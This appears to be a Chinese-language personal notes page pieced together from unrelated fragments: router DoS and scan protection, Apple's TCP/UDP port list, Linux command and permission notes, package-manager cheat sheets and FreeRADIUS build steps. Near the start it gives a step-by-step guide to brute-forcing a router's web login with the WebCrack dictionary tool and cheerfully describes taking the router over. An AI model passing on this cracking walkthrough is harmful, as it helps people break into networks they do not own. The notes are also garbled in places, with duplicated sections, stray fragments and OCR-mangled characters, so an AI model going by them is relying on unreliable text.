比如 路由器 没有开启Dos 类攻击防护: 那么 ping 该 ip 结果是连续正常的. 如果 路由器开启了 ICMP Flood 防护 阈值设成 100PPS 单位为每秒数据包个数PPS=Packet Per Second

那么 再 ping 路由器 就会不正常了. 路由器 日志服务器 也能看到相应的攻击信息.

扫描类的攻击防护主要有二类:

  • IP扫描, 一段时间内 一个源IP 发送ICMP 请求包到 10+ 以上的 ip.
  • 端口扫描, 一段时间内一个源IP 发送 TCP SYN包到同一目的地的10+的不同的端口.

网管通常都会将路由器的默认端口(80)给更改掉. 路由器 Web 登录界面 破解.

借助“网页密码破解工具”“WebCrack”来帮忙。 简单点说,像这类网页密码破解就是应用穷举法,从配套的字典文件读取预设好的密码一个个去试,这个靠的就是电脑的速度和耐性。密码短简单的也许只要几分钟,密码要是太长太复杂也许就是几天几年…

  下载WebCrack并安装。运行后首先点击“用户名文件”处的浏览按钮,创建文件。然后我们再去找些配套的字典文件,字典里是用转用软件生的各种不同的用户名和密码供软件一对对去匹配,例如admin、123456等常见的用户名,当然字典里面的数据越多,破解的概率就越大,密码输入格式为一行一个。回到WebCrack界面中,勾寻使用用户名字典”选项,并浏览选中刚才创建的文本文档。接着在“URL”中填入路由器的登录地址,设置完毕后,我们点击“开始”按钮进行探测。

  探测结束后,我们可以点击“结果”按钮,然后切换到“发现密码”标签处查看检测结果。这个时候路由器就被我们接管,接下来你就可以为所欲为啦,但也不要太过份,小心别人拨网线哟!!

 

很明显,由于每台计算机运行的服务不同,你看到的扫描结果也大相径庭。 但是如果你扫描Mac 和 PC 的话,通常你将会看到 Web servers, SMB 。 Windows 共享端口 445, AFP 苹果文件共享协议 548. 也许会有 SSH server 在 22 端口。 UDP servers. 和其他潜在的可能开放的端口。

  如果没有发现任何东西并且可以确定该目标上有服务正在运行。

  • 要么是这台主机禁用了广播,目标主机拒绝了所有的请求,
  • 要么就是前端配置了一个强壮的防火墙。 -   目标可以定在网络中的 Mac , Windows , IOS 设备  , Linux , 或者其他的网络设备上。   很明显 Network Utility 只限于Mac 使用,如果想使用 IOS 设备进行端口扫描 , 那将是另外一篇文章啦.

https://support.apple.com/zh-cn/HT202944

8800 sunwebadmin

7 TCP/UDP echo 792 echo - 20 TCP 文件传输协议 (FTP) 959 ftp-data - 21 TCP FTP 控制 959 ftp - 22 TCP Secure Shell (SSH) 4253 ssh Xcode Server(托管和远程 Git+SSH;远程 SVN+SSH) 23 TCP Telnet 854 telnet - 25 TCP 简单邮件传输协议 (SMTP) 5321 smtp 邮件(用于发送电子邮件);iCloud 邮件(正在发送) 53 TCP/UDP 域名系统 (DNS) 1034 domain MacDNS、FaceTime 67 UDP Bootstrap 协议服务器(BootP、bootps) 951 bootps NetBoot via DHCP 68 UDP Bootstrap 协议客户端 (bootpc) 951 bootpc NetBoot via DHCP 69 UDP 普通文件传输协议 (TFTP) 1350 tftp - 79 TCP Finger 1288 finger - 80 TCP 超文本传输协议 (HTTP) 2616 http 万维网、iCloud、QuickTime 安装程序、地图、iTunes U、Apple Music、iTunes Store、播客、互联网广播、OS X 软件更新(OS X Lion 及更低版本)、Mac App Store、RAID Admin、备份、日历、WebDAV、Final Cut Server、AirPlay、OS X 互联网恢复、描述文件管理器、Xcode Server(Xcode 应用、托管和远程 Git HTTP、远程 SVN HTTP)。 88 TCP Kerberos 4120 Kerberos Kerberos(包括屏幕共享鉴定) 106 TCP 密码服务器 (未注册使用) - 3com-tsmux Mac OS X Server 密码服务器 110 TCP 邮局协议 (POP3) 经身份验证的邮局协议 (APOP) 1939 pop3 邮件(用于接收电子邮件) 111 TCP/UDP 远程过程调用 (RPC) 1057、1831 sunrpc 端口映射器 (sunrpc) 113 TCP 标识协议 1413 ident - 115 TCP 简单文件传输协议 (SFTP) 913 sftp - 119 TCP 网络新闻传输协议 (NNTP) 3977 nntp 由读取新闻组的应用程序使用。 123 UDP 网络时间协议 (NTP) 1305 ntp “日期与时间”偏好设置。用于网络时间服务器同步、AppleTV 网络时间服务器同步 137 UDP Windows 互联网名称服务 (WINS) - netbios-ns - 138 UDP NETBIOS 数据报服务 - netbios-dgm Windows 数据报服务、Windows 网上邻居 139 TCP 服务器信息块 (SMB) - netbios-ssn 由 Microsoft Windows 文件和打印服务(如 Mac OS X 中的 Windows 共享)使用。 143 TCP 互联网消息访问协议 (IMAP) 3501 imap 邮件(用于接收电子邮件) 161 UDP 简单网络管理协议 (SNMP) 1157 snmp - 192 UDP OSU 网络监控系统 - osu-nms AirPort 基站 PPP 状态或发现(特定配置)、AirPort 管理实用工具、AirPort Express 助理 311 TCP 服务器安全管理 - asip-webadmin Server 应用、Server Admin、Workgroup Manager、Server Monitor、Xsan Admin。 312 TCP Xsan 管理 - vslmp Xsan 管理(OS X Mountain Lion v10.8 及更高版本) 389 TCP 轻量级目录访问协议 (LDAP) 4511 ldap 由查找地址的应用程序(如“邮件”和“地址簿”)使用。 427 TCP/UDP 服务定位协议 (SLP) 2608 svrloc 网络浏览器 443 TCP 安全套接字层(SSL 或“HTTPS”) 2818 https TLS 网站、iTunes Store、OS X 软件更新(Mountain Lion 及更高版本)、Spotlight 建议、Mac App Store、地图、FaceTime、Game Center、iCloud 鉴定和 DAV 服务(通讯录、日历和书签)、iCloud 备份和应用程序(日历、通讯录、查找我的 iPhone/查找我的朋友、邮件、文稿和照片流)、iCloud 键值存储 (KVS)、iPhoto 日志、AirPlay、OS X 互联网恢复、描述文件管理器、回到我的 Mac、听写、Siri (iOS)、Xcode Server(托管和远程 Git HTTPS、远程 SVN HTTPS、Apple Developer 注册)。 445 TCP Microsoft SMB 域服务器 - microsoft-ds - 464 TCP/UDP kpasswd 3244 kpasswd - 465 TCP 用于“邮件”的信息提交(经身份验证的 SMTP)   smtp(旧版) 邮件(用于发送邮件) 500 UDP ISAKMP/IKE 2408 isakmp OS X Server VPN 服务、回到我的 Mac 500 UDP Wi-Fi 通话 5996 IKEv2 Wi-Fi 通话 514 TCP shell - shell - 514 UDP Syslog - syslog - 515 TCP 行式打印机 (LPR)、行式打印机监控程序 (LPD) - printer 用于通过网络打印机打印、Mac OS X 中的打印机共享 532 TCP netnews - netnews - 548 TCP 通过 TCP 的 Apple 档案分享协议 (AFP) - afpovertcp AppleShare、个人文件共享、Apple 文件服务 554 TCP/UDP 实时流协议 (RTSP) 2326 rtsp QuickTime 流服务器 (QTSS)、流媒体播放器、AirPlay 587 TCP 用于“邮件”的信息提交(经身份验证的 SMTP) 4409 submission “邮件”(用于发送邮件)、iCloud 邮件(SMTP 身份验证) 600-1023 TCP/UDP 基于 Mac OS X RPC 的服务 - ipcserver 例如,由 NetInfo 使用 623 UDP Lights-Out-Monitoring - asf-rmcp 由 Intel Xserves 的 Lights-Out-Monitoring (LOM) 功能使用;由 Server Monitor 使用 625 TCP Open Directory Proxy (ODProxy)(未注册使用) - dec_dlm Open Directory、Server 应用、Workgroup Manager;OS X Lion 及更低版本中的 DirectoryServices。注:此端口已注册给 DEC DLM。 626 TCP AppleShare Imap Admin (ASIA) - asia IMAP 管理(Mac OS X Server v10.2.8 或更低版本) 626 UDP serialnumberd(未注册使用) - asia Server 序列号注册(Xsan、Mac OS X Server v10.3 - v10.6) 631 TCP 互联网打印协议 (IPP) 2910 ipp Mac OS X 打印机共享,通过多台普通打印机打印 636 TCP 安全 LDAP - ldaps - 660 TCP 服务器管理 - mac-srvr-admin Mac OS X Server v10.4 及更低版本的服务器管理工具,包括 AppleShare IP。 687 TCP 服务器管理 - asipregistry Mac OS X Server v10.6 及更低版本的服务器管理工具,包括 AppleShare IP。 749 TCP/UDP Kerberos 5 admin/changepw - kerberos-adm - 985 TCP NetInfo 静态端口 - - - 993 TCP 邮件 IMAP SSL - imaps iCloud 邮件 (SSL IMAP) 995 TCP/UDP 邮件 POP SSL - pop3s - 1085 TCP/UDP WebObjects - webobjects - 1099 和 8043 TCP 对 JBOSS 的远程 RMI 和 IIOP 访问 - rmiregistry - 1220 TCP QT Server Admin - qt-serveradmin 用于管理 QuickTime 流服务器。 1640 TCP 证书注册服务器 - cert-responder 描述文件管理器、SCEP 1649 TCP IP 故障转移 - kermit - 1701 UDP L2TP - l2f Mac OS X Server VPN 服务 1723 TCP PPTP - pptp Mac OS X Server VPN 服务 1900 UDP SSDP - ssdp Bonjour、回到我的 Mac 2049 TCP/UDP 网络文件系统 (NFS)(第 3 版和第 4 版) 3530 nfsd - 2195 TCP Apple 推送通知服务 (APNS) - - 推送通知 2196 TCP Apple 推送通知服务 (APNS) - - 反馈服务 2336 TCP 移动帐户同步 - appleugcontrol 个人目录同步 3004 TCP iSync - csoftragent - 3031 TCP/UDP 远程 AppleEvent - eppc 程序链接、远程 Apple 事件 3283 TCP/UDP 网络助理 - net-assistant Apple Remote Desktop 2.0 或更高版本(报告功能) 3306 TCP MySQL - mysql - 3478-3497 UDP - - nat-stun-port - ipether232port FaceTime、Game Center 3632 TCP 分布式编译器 - distcc - 3659 TCP/UDP 简单身份验证和安全层 (SASL) - apple-sasl Mac OS X Server 密码服务器 3689 TCP 数字音频访问协议 (DAAP) - daap iTunes 音乐共享、AirPlay 3690 TCP/UDP Subversion - svn Xcode Server(匿名远程 SVN) 4111 TCP XGrid - xgrid - 4398 UDP - - - Game Center 4488 TCP Apple 广域连接服务   awacs-ice 回到我的 Mac 4500 UDP IPsec NAT Traversal 4306 ipsec-msft OS X Server VPN 服务、回到我的 Mac。注:若在 NAT 模式下配置 AirPort 基站或 Time Capsule 上的“回到我的 Mac”,会妨碍与 NAT 模式下的 OS X Server VPN 服务的连接。 4500 UDP Wi-Fi 通话 5996 IKEv2 Wi-Fi 通话 5003 TCP FileMaker - 名称绑定和传输 - fmpro-internal - 5009 TCP (未注册使用) - winfs AirPort 实用工具、AirPort Express 助理 5060 UDP 会话启动协议 (SIP) 3261 sip iChat 5100 TCP - - socalia Mac OS X 摄像头和扫描仪共享 5190 TCP/UDP America Online (AOL) - aol iChat 和 AOL Instant Messenger、文件传输 5222 TCP XMPP (Jabber) 3920 jabber-client iChat 和 Jabber 信息 5223 TCP Apple 推送通知服务 - - iCloud DAV 服务(通讯录、日历和书签)、APNS、FaceTime、Game Center、照片流、回到我的 Mac 5269 TCP XMPP 服务器到服务器的通信 3920 jabber-server iChat 服务器 5297 TCP - - - iChat(本地通信) 5298 TCP/UDP - - - iChat(本地通信) 5350 UDP NAT 端口映射协议通知 - - Bonjour、回到我的 Mac 5351 UDP NAT 端口映射协议 - nat-pmp Bonjour、回到我的 Mac 5353 UDP 多址广播 DNS (MDNS) 3927 mdns Bonjour、AirPlay、家庭共享、打印机查找、回到我的 Mac 5432 TCP PostgreSQL - postgresql 可以在 Lion Server 上手动启动。之前已默认为 ARD 2.0 数据库启用。 5678 UDP SNATMAP 服务器 - rrac 端口 5678 上的 SNATMAP 服务用于确定主机的外部互联网地址,以便 iChat 用户之间的连接可在网络地址转换 (NAT) 下正常使用。SNATMAP 服务仅将已连接到它的互联网地址告知客户端。此服务在 Apple 服务器上运行,但不会将个人信息发送给 Apple。在使用了特定 iChat AV 功能的情况下,将与此服务建立联系。阻止此服务可能会导致与使用 NAT 的网络上的主机之间的 iChat AV 连接出现问题。 5897-5898 UDP (未注册使用) - - xrdiags 5900 TCP 虚拟网络计算 (VNC) (未注册使用) - vnc-server Apple Remote Desktop 2.0 或更高版本(监视/控制功能) 屏幕共享(Mac OS X 10.5 或更高版本) 5988 TCP WBEM HTTP - wbem-http Apple Remote Desktop 2.x(请参阅http://dmtf.org/standards/wbem) 6970-9999 UDP - - - QuickTime 流服务器 7070 TCP RTSP(未注册使用) 自动路由器配置协议(ARCP - 已注册使用) - arcp QuickTime 流服务器 (RTSP) 7070 UDP RTSP 备用 - arcp QuickTime 流服务器 7777 TCP iChat 服务器文件传输代理(未注册使用) - cbt - 8000-8999 TCP - - irdmi Web 服务、iTunes Radio 流 8005 TCP Tomcat 远程关闭 - - - 8008 TCP iCal 服务 - http-alt Mac OS X Server v10.5 及更高版本 8080 TCP Apache Web 服务的备用端口 - http-alt 还包括 Mac OS X Server 10.4 及更低版本中的 JBOSS HTTP 8085-8087 TCP Wiki 服务 - - Mac OS X Server v10.5 及更高版本 8088 TCP “软件更新”服务 - radan-http Mac OS X Server v10.4 及更高版本 8089 TCP Web 电子邮件规则 - - Mac OS X Server v10.6 及更高版本 8096 TCP Web 密码重设 - - Mac OS X Server v10.6.3 及更高版本 8170 TCP HTTPS(Web 服务/网站) - - Podcast Capture/Podcast CLI 8171 TCP HTTP(Web 服务/网站) - - Podcast Capture/Podcast CLI 8175 TCP Pcast 隧道 - - pcastagentd(用于控制操作、摄像头等) 8443 TCP iCal 服务 (SSL) - pcsync-https Mac OS X Server v10.5 及更高版本。曾为 Mac OS X Server 10.4 及更低版本中的 JBOSS HTTPS。 8800 TCP 地址簿服务 - sunwebadmin Mac OS X Server v10.6 及更高版本 8843 TCP 地址簿服务 (SSL) - - Mac OS X Server v10.6 及更高版本 8821、8826 TCP 已存储 - - Final Cut Server 8891 TCP ldsd - - Final Cut Server(数据传输) 9006 TCP 独立的 Tomcat - - Mac OS X Server v10.6 及更低版本 9100 TCP 打印 - - 用于通过特定网络打印机打印 9418 TCP/UDP git 包传输 - git Xcode Server(远程 git) 10548 TCP Apple 文稿共享服务 - serverdocs OS X Server iOS 文件共享 11211 - memcached(未注册) - - 日历服务器 16080 TCP - - - 具有高性能缓存的 Web 服务 16384-16403 UDP 实时传输协议 (RTP)、实时控制协议 (RTCP) - connected、- iChat AV(音频 RTP、RTCP;视频 RTP、RTCP) 16384-16387 UDP 实时传输协议 (RTP)、实时控制协议 (RTCP) - connected、- FaceTime、Game Center 16393-16402 UDP 实时传输协议 (RTP)、实时控制协议 (RTCP) - - FaceTime、Game Center 16403-16472 UDP 实时传输协议 (RTP)、实时控制协议 (RTCP) - - Game Center 24000-24999 TCP - - med-ltp 具有高性能缓存的 Web 服务 42000-42999 TCP - - - iTunes Radio 流 49152-65535 TCP Xsan - - Xsan 文件系统存取 49152-65535 UDP - - - 回到我的 Mac 50003 - FileMaker 服务器服务 - - - 50006 - FileMaker 帮助程序服务 - - -

目录操作

相对路径: 平常使用 绝对路径: 写脚本什么的 用绝对路径!!

cd 变换目录 change directory pwd 显示当前所在的目录 print working directory

mkdir 新建目录 mkdir -m 设定文件的权限 mkdir -m 777 txt5 mkdir -p 建立多层文件夹 mkdir -p txt/txt1/txt2

rmdir 删除目录 只能删除空文件夹
rmdir -p 删除多个文件夹

cd .. 上级目录 cd - 回到之前的目录 相当于后退

ls -ld /users

文件管理 属性 拷贝 删除 移动

ls 文件 检视

默认 显示 非隐藏的 文科

ls -l 文件的详细信息 ls -al 包括隐藏文件的 详细详细

cp 复制 copy 复制文件 建立快捷方式

不同身份 执行这个会有不同结果. -d 原文件是链接的话 复制链接 而不是复制文件本身

-r 可以复制目录 默认cp是不能复制目录的

注意: 源文件 是不是目录
源文件 是不是特殊档案 源文件 是不是 快捷方式 是否需要保存完整的档案信息

rm 删除 remove -f force 强制删除 不显示警告 回收站都找不回来的啊啊 ! -i 互动模式 删除前询问 -r 目录删除 非常危险. *通配符 代表0-无穷多的任意字符. 很好用

mv 移动文档 -f 已存在文件 会直接覆盖 不会询问 -i 询问是否覆盖 -u

文件夹 改名 mv 33 44 把33 改成44 这么简单.

cat concatenate (连续的意思 ) 显示文件内容

cat -b 列出行号 空白行 不标行号 cat -n 列出行号 空白号 也标行号

more less 一页一页看 空格 下一页 enter 下一行 /关键字 向下搜寻 字符串 :f 显示文件名字 和目前的行数目 q 离开 more b 往回翻页 more 一页一页 往前看 不能后退看 less pagedown pageup 来上下翻 less 更好用

head 取出文件前面几行 tail取出文件后面几行 head filename 默认显示文件的前10行 算预览么?? head -n 20 filename 显示前面20行 head -n -100 filename 显示文件的 去除最后100行之后的 内容

tail 取出文件后面几行 -f 持续侦测文件的 最后几行 直到ctrl c 结束侦测

档案时间 主要有三个 modification time time 内容变更 时间

status time ctime 状态时间 权限/属性等变更

access time atime 内容被读取时间

touch 修改档案时间 建立空档案 bios 设定错误 或者时区原因 导致系统问题.

umask 默认权限 目前用户 建立文件时的默认权限 0022 如果 建立文件 默认是不执行的 最高分666 默认建立文件夹 由于需要进入文件夹 需要x权限 777 umask 指的是 被拿掉的权限 第一位不管它 022 指的是 user 全部权限 group others 被拿掉写的权力

修改 umask 的 默认权限 后面加000 就是完全不限制.

隐藏属性 对系统安全很有用 chattr +a 只能增加数据 不能删除 修改数据 +i 文件 不能删除 不能改名 不能被链接

lsattr 显示隐藏属性

find 命令 直接找硬盘 时间慢! 虽然很强大 whereis linux将所有文件都记录在一个数据库里面.这里查找更快速.由于这个是每天更新一次数据库 所以不一定找得到 locate 也是查询数据库的

passwd -d xujian 删除 xujian 用户的密码

为root用户设置密码 打开终端输入:sudo passwd

Password: <— 输入你当前用户的密码

Enter new UNIX password: <— 新的Root用户密码

Retype new UNIX password: <— 重复新的Root用户密码

passwd:已成功更新密码ls的完整命令路径是 /bin/ls
其实 你只需要输入 ls 就能执行 /bin/ls 这个命令.环境变量 相当于快捷键

echo $PATH 查看变量 echo 列出 显示的意思 PATH前面加$ 表示 后面的是变量.

不同用户的 PATH 是不一样的  path 是可以修改 的

软件包管理器 - 软件安装

Debian:

默认自带 apt-get 用 sudo 运行

命令 作用
安装软件 apt-get install softname
卸载软件 apt-get remove softname
重装软件 apt-get —reinstall install
搜索软件 apt-cache search
更新已装软件 apt-get update
修复安装软件 apt-get -f install softname
删无用软件 apt-get clean
了解使用依赖 apt-cache depends
下载软件源代码 apt-get source
列出软件包的内容 apt-file list packagename
完整卸载 apt-get –purge remove 删除配置文件.
彻底卸载 apt-get autoremove –purge 删除依赖软件包+配置文件.
   
   
apt-get check # 检查是否有损坏的依赖
dpkg -S filename 查找filename属于哪个软件包
apt-file search filename 查找filename属于哪个软件包
apt-file update 更新apt-file的数据库

软件安装方法: 用软件包管理器: 直接安装. huo’z

软件管理器

免去手动编译安装
Mac: brew centos: yum ubuntu: apt-get

brew

1: 使用方法 (以wget为例)

查找软件包 列出已安装的软件包 安装软件包 删除软件包 brew search wget brew list brew install wget brew remove wget

查看软件包信息 列出软件包的依赖关系 brew info wget brew deps wget

更新brew 列出过时的软件包 更新过时的软件包(全部或指定) brew update brew outdated brew upgrade 或 brew upgrade wget

软件管理系统 源代码编译

. 亊实上鸟哥讣为 distributions 主要分为两大系统,一种是使用 RPM 斱式安装软件 癿系统,包括 Red Hat, Fedora, SuSE 等都是这类; 一种则是使用 Debian 癿 dpkg 斱式安装软件癿系统,包括 Debian, Ubuntu, B2D 等等。

kernel 核心

web 服务器

,WWW, Mail Server, File Server 等等

源码的安装一般由3个步骤组成:配置(configure)、编译(make)、安装(make install)。

Configure是一个可执行脚本,它有很多选项,在待安装的源码路径下使用命令./configure –help输出详细的选项列表。 其中–prefix选项是配置安装的路径,如果不配置该选项,安装后可执行文件默认放在/usr /local/bin,库文件默认放在/usr/local/lib,配置文件默认放在/usr/local/etc,其它的资源文件放在/usr /local/share,比较凌乱。 如果配置–prefix,如:

  1. ./configure –prefix=/usr/local/test 可以把所有资源文件放在/usr/local/test的路径中,不会杂乱。 用了—prefix选项的另一个好处是卸载软件或移植软件。当某个安装的软件不再需要时,只须简单的删除该安装目录,就可以把软件卸载得干干净净;移植软件只需拷贝整个目录到另外一个机器即可(相同的操作系统)。 当然要卸载程序,也可以在原来的make目录下用一次make uninstall,但前提是make文件指定过uninstall。

程序里有好多文件 (一个个去编译 太麻烦 所以就有可 make 这个工具. ). 这些. 这个关系 是由 makefile 来维持的.

makefile: 定义:源代码包解压出来一堆文件的相互依赖关系 . 用来指导 make 命令该怎么工作 . makefile 是自动生成的. 自动生成 makefile 需要两个文件. 分别是 configure 和 makefile.in
configure 文件是由 autoconf 命令 生成的. makefile.in 是由 automake 命令 生成的.

软件包为什么要带 configure 文件呢 直接给 makefile 不就成了么. 因为 configure 要 根据你系统平台 来生成 makefile 文件.

编译分三步:

./configure make make install
这一步本质上就是把上一步编译出来的结果复制到我们指定的目录而已。

比如下面这个解压出来的 文件夹. CONTRIBUTING INSTALL.rst Makefile acinclude.m4 config.guess  configure.ac install-sh man/ raddb/ share/ COPYRIGHT LICENSE README.rst aclocal.m4 config.sub*  debian/ m4/ mibs/ redhat/ src/ CREDITS Make.inc.in VERSION autogen.sh  configure doc/ main.mk missing*  scripts/ suse/

gcc: GNU CC 也就是C编译器, g++: 才是cpp编译器

在电脑中自动安装、配制、卸载和升级软件包的工具组合.

在Linux发行版中,几乎每一个发行版都有自己的软件包管理系统。
常见有:
管理deb软件包的dpkg以及它的前端apt(使用于Debian、Ubuntu)。
rpm以及它的前端yum(使用于Fedora)、前端ZYpp(使用于openSUSE)、 前端urpmi(使用于Mandriva Linux、Mageia)等。
使用软件包管理系统将大大简化在Linux发行版中安装软件的过程。

RPM,全称为RPM Package Manager,是由Red Hat推出的软件包管理系统,现在在各种发行版中普遍使用。

dpkg是Debian Package的简写,由Debian发行版开发,用于安装、卸载和供给和deb软件包相关的信息。

软件包管理系统: 分成两组 一组使用RPM(Red Hat Package Manager),
而另一组使用dpkg包管理器.
我们选择两种基于RPM的发行版, CentOS和SUSE, 在企业中流行. 取代使用Debian作为一个基于dpkg的发行版,
我们选择Ubuntu因为他在初学者中广泛流行. 由于Ubuntu派生于Debian, 讨论Ubuntu的章节也适用于Debian不需要大的修改.

预编译软件:缺点 不会安装最新的版本到你电脑. 也就是更新慢.

从源码安装软件是configure, make, make install的同义词. 我们将使用发型吧的包管理器来从源码编译新的软件.

从源码编译 有时有需要来安装最新版本的软件或者包含一些预编译软件没有支持的模块. 这需要从源码编译软件. 大多数开源软件包是作为一个TAR压缩包发布的. TAR实际上可以指用于创建TAR文件的程序(名称是tape archive的简写)或者合成文件的文件格式. 一个TAR文件也通常是压缩的来减少体积. 文件名将会表示压缩的格式. 一个文件名以.tgz或者.tar.gz结尾使用gzip. 一个文件名以.tbz, .tb2, 或者.tar.bz2结尾使用bzip2压缩. 为了编译软件我们解压这个文件, 然后执行命令configure, make和make install在解压的文件夹内. 然而有更好的方式利用发行版的包管理系统来编译软件. 不是所有的TAR文件帮助这个容易实现, 但是FreeRADIUS是这样一个成熟的项目, 允许在任意这3个发行版上从源码编译软件.

编译包的优势 下面是一些从源码编译包的优势 • 容易安装, 升级, 卸载或发布软件. • 容易检查那个版本的软件是安装的. • 能够看到哪些文件被安装, 哪些发行版相关的修改. 既然你已经确定用这种方式编译包, 我们将会为每个发行版来做他.

从源码编译FreeRADIUS需要许多开发库. 标准的SLES仓库不需要全部包含他们他们, 甚至当使用的SDK DVD是SLES的一部分. 我们因此需要添加OpenSUSE仓库. 这将会满足所有的开发库需求.

1 通过下面的URL定位离你最近的OpenSUSE镜像: http://mirrors.opensuse.org 2 使用root用户开始YAST. 3 选择Software | Software Repositories并且然后选择Add来添加到一个仓库. 4 添加在开始时你选择的OpenSUSE镜像. 对于我的OpenSUSE11.3最近的URL是: ftp://opensuse.mirror.ac.za/opensuse/distribution/11.3/repo/oss/suse 5 你可能要被接受GnuPG密钥的导入对于新的仓库. 选择Import来继续. 这个设置编译FreeRADIUS RPM的阶段. 现在遵循下面的步骤: 1 从官网下载最新的.tar.bz2格式的FreeRADIUS源码. 2 SLES包括一个目录结构专门用于编译RPM. 位于/usr/src/packages. 拷贝原始的bz2源文件到SOURCES目录. 替换x和y为对应的版本. cp freeradius-server-2.x.y.tar.bz2 /usr/src/packages/SOURCES/. 3 从TAR文件解压SUSE RPM .spec文件, 替换x,y为对应版本.# cd /usr/src/packages/SOURCES/ 4 # tar -xvjf freeradius-server-2.x.y.tar.bz2 freeradius-server-2.x.y/suse/freeradius.spec 5
6 拷贝下面的文件到/usr/src/packages/SPECS目录:# cp freeradius-server-2.x.y/suse/freeradius.spec ../SPECS/ 7
8 编辑spec文件的下面的行, 修改%{fillup_and_insserv -s freeradius START_RADIUSD}为%{fillup_and_insserv freeradius}. 9 运行下面的命令来决定依赖. rpmbuild -ba /usr/src/packages/SPECS/freeradius.spec 10 这个将会列出必要的开发包来安装, 为了FreeRADIUS RPM被编译. 在你的系统上的列表可能不同. 下面是我的系统上的结果(用zypper安装他们)zypper in db-devel e2fsprogs-devel gcc-c++ gdbm-devel gettext-devel glibc-devel ncurses-devel openldap2-devel openssl-devel pam-devel postgresql-devel python-devel unixODBC-devel zlib-devel apache2-devel cyrus-sasl-devel krb5-devel libapr1-devel libmysqlclient-devel 11
12 再次运行rpmbuild命令. 如果所有的依赖都满足, RPM的编译将会开始. 把结果tee到一个文件用于将来的调查.rpmbuild -ba /usr/src/packages/SPECS/freeradius.spec | tee /tmp/build_out.txt 13
14 当编译完成, RPM位于/usr/src/packages/RPMS/<architecture>/目录. 15 使用下面命令安装新的FreeRADIUS包.# cd /usr/src/packages/RPMS/<architecture>/ 16 # zypper in freeradius-server-2.x.y-0.i586.rpm freeradius-server-libs-2.x.y-0.i586.rpm freeradius-server-utils-2.x.y-0.i586.rpm 17
18 注意默认FreeRADIUS将会已用户radiusd运行. 这个用户是在安装FreeRADIUS过程中创建的. 给这个用户certs目录的权限. 否则会安装失败.chown -R radiusd. /etc/raddb/certs 19
20 通过radiusd -X来确认radiused可以正确启动. 21 Ctrl+C将会停止正在运行的FreeRADIUS. 你现在可以使用下面的启动脚本来启动FreeRADIUS/etc/init.d/freeradius start

功能 : 免去手动编译安装

系统 软件管理器
Mac brew(手动安装)
CentOS yum (自带)
ubuntu apt-get
Debian  

Mac brew

使用方法 (以wget为例)

|命令|作用| |:—:|:—:| 查找软件包 列出已安装的软件包 安装软件包 删除软件包 brew search wget brew list brew install wget brew remove wget

查看软件包信息 列出软件包的依赖关系 brew info wget brew deps wget

更新brew 列出过时的软件包 更新过时的软件包(全部或指定) brew update brew outdated brew upgrade 或 brew upgrade wget

Centos yum

http://itgeeker.net/centos-7-epel-china-mirror-repository/ 查找软件 yum search 更新软件 yum update 列出软件信息 yum list installed ppp

apt-cache search package 搜索包 apt-cache show package 获取包的相关信息,如说明、大小、版本等 sudo apt-get install package 安装包 sudo apt-get install package - - reinstall 重新安装包 sudo apt-get -f install 修复安装”-f = –fix-missing” sudo apt-get remove package 删除包 sudo apt-get remove package - - purge 删除包,包括删除配置文件等 sudo apt-get update 更新源sudo apt-get upgrade 更新已安装的包 sudo apt-get dist-upgrade 升级系统 sudo apt-get dselect-upgrade 使用 dselect 升级 apt-cache depends package 了解使用依赖 apt-cache rdepends package 是查看该包被哪些包依赖 sudo apt-get build-dep package 安装相关的编译环境 apt-get source package 下载该包的源代码 sudo apt-get clean && sudo apt-get autoclean 清理无用的包 sudo apt-get check 检查是否有损坏的依赖

Debian:

默认自带 apt-get 用 sudo 运行

命令 作用
安装软件 apt-get install softname
卸载软件 apt-get remove softname
重装软件 apt-get —reinstall install
搜索软件 apt-cache search
更新已装软件 apt-get update
修复安装软件 apt-get -f install softname
删无用软件 apt-get clean
了解使用依赖 apt-cache depends
下载软件源代码 apt-get source
列出软件包的内容 apt-file list packagename
完整卸载 apt-get –purge remove 删除配置文件.
彻底卸载 apt-get autoremove –purge 删除依赖软件包+配置文件.
   
   
apt-get check # 检查是否有损坏的依赖
dpkg -S filename 查找filename属于哪个软件包
apt-file search filename 查找filename属于哪个软件包
apt-file update 更新apt-file的数据库

T软件安装方法:

用软件包管理器: 直接安装. 的

   
   

huo’z

     
     
     
     

-rwxrwxr--@ 1 v staff 2.3K Nov 14 07:39 favicon-32x32.png

@ 是额外权限的意思….

ls -@l favicon-32x32.png 用 -@l 命令 来查看详细信息.

-rwxrwxr--@ 1 v  staff  2379 Nov 14 07:39 favicon-32x32.png
    com.apple.FinderInfo      32 
    com.apple.metadata:_kMDItemUserTags   53 
    com.apple.quarantine      57 

文件操作

查看文件: cat、more、head、tail等
  1. cat 显示出文本内容, 命令格式:cat filename(s)

    当内容超出一屏时,只保留最后一屏幕,其他内容一闪而过。

cat最常见的用法是配合重定向符来清空文件以及将几个文件合并成为一个文件。 cat /dev/null > doc.txt  //清空文件doc.txt,/dev/null代表空设备文件(记住使用即可) cat « doc1.txt » doc2.txt  //将doc1.txt中的内容保存在doc2.txt的尾部

  1. more命令来查看此类文件。 more命令的格式如下:more filename

more命令将会以分页的方式显示文本文件内容。 当每次将文件内容显示在屏幕上时,如果内容超出一屏,则会在屏幕的左下部显示“ --more--”,并且在其后面显示百分比表示已显示部分占总内容的比例。

  • 回车键 下一行,
  • 空格键 下一屏,
  • b 上一屏,

使用“/”加上字符串可以查找指定字符串的内容信息,找到后可以按“n”字母键继续搜索下一个符合要求的内容信息, 按“q”字母键则可退出并返回Shell命令提示符状态。

  • head & tail 命令 head与tail命令的格式如下:  
    1. head -n filename(s)  
    2. tail -n filename(s) 

head 显示一个或多个文件开头n行的内容
tail 显示一个或多个文件最后n行的内容

若没有指定参数n,则系统会默认显示10行内容。

每行后面都有标识, 表示单行结束

linux: 每行后面都有 /n windows: 每行后面都有 /r /n mac: 每行后面都有 /r

结果→ mac/liunx 的文件 到 windows 下 所有都是一行.

windows 文件到 Mac/linux 每行可能会多个 ^M 符号

SYNOPSIS  builtin [-options] [args ...]

第一个 肯定是命令名称 括号 不输入命令中. 选项前 有- 号 缩写名称 -h 完整名称 - - help 指令 选项 中间都有空格. 不论几个空格都视为一个空格.

回车键 执行命令. 指令太长 用\来换行. 区分大小写.

Linux 是多人多任务系统 随时都有很多任务在进行. 正确的关机很重要. 不然会造成文件损坏. UPS 不间断电源 是有必要的.

作用: 字符串的输出.
  • 覆盖文件写入: echo aaa > a.txt

  • 增加写入 echo aaa >> a.txt

  • 增加分行写入 echo -e “xujian\nxujian0219@126.com” >> a.txt

    echo 下面 ! 是特殊符号 要! 才能输出 !号.

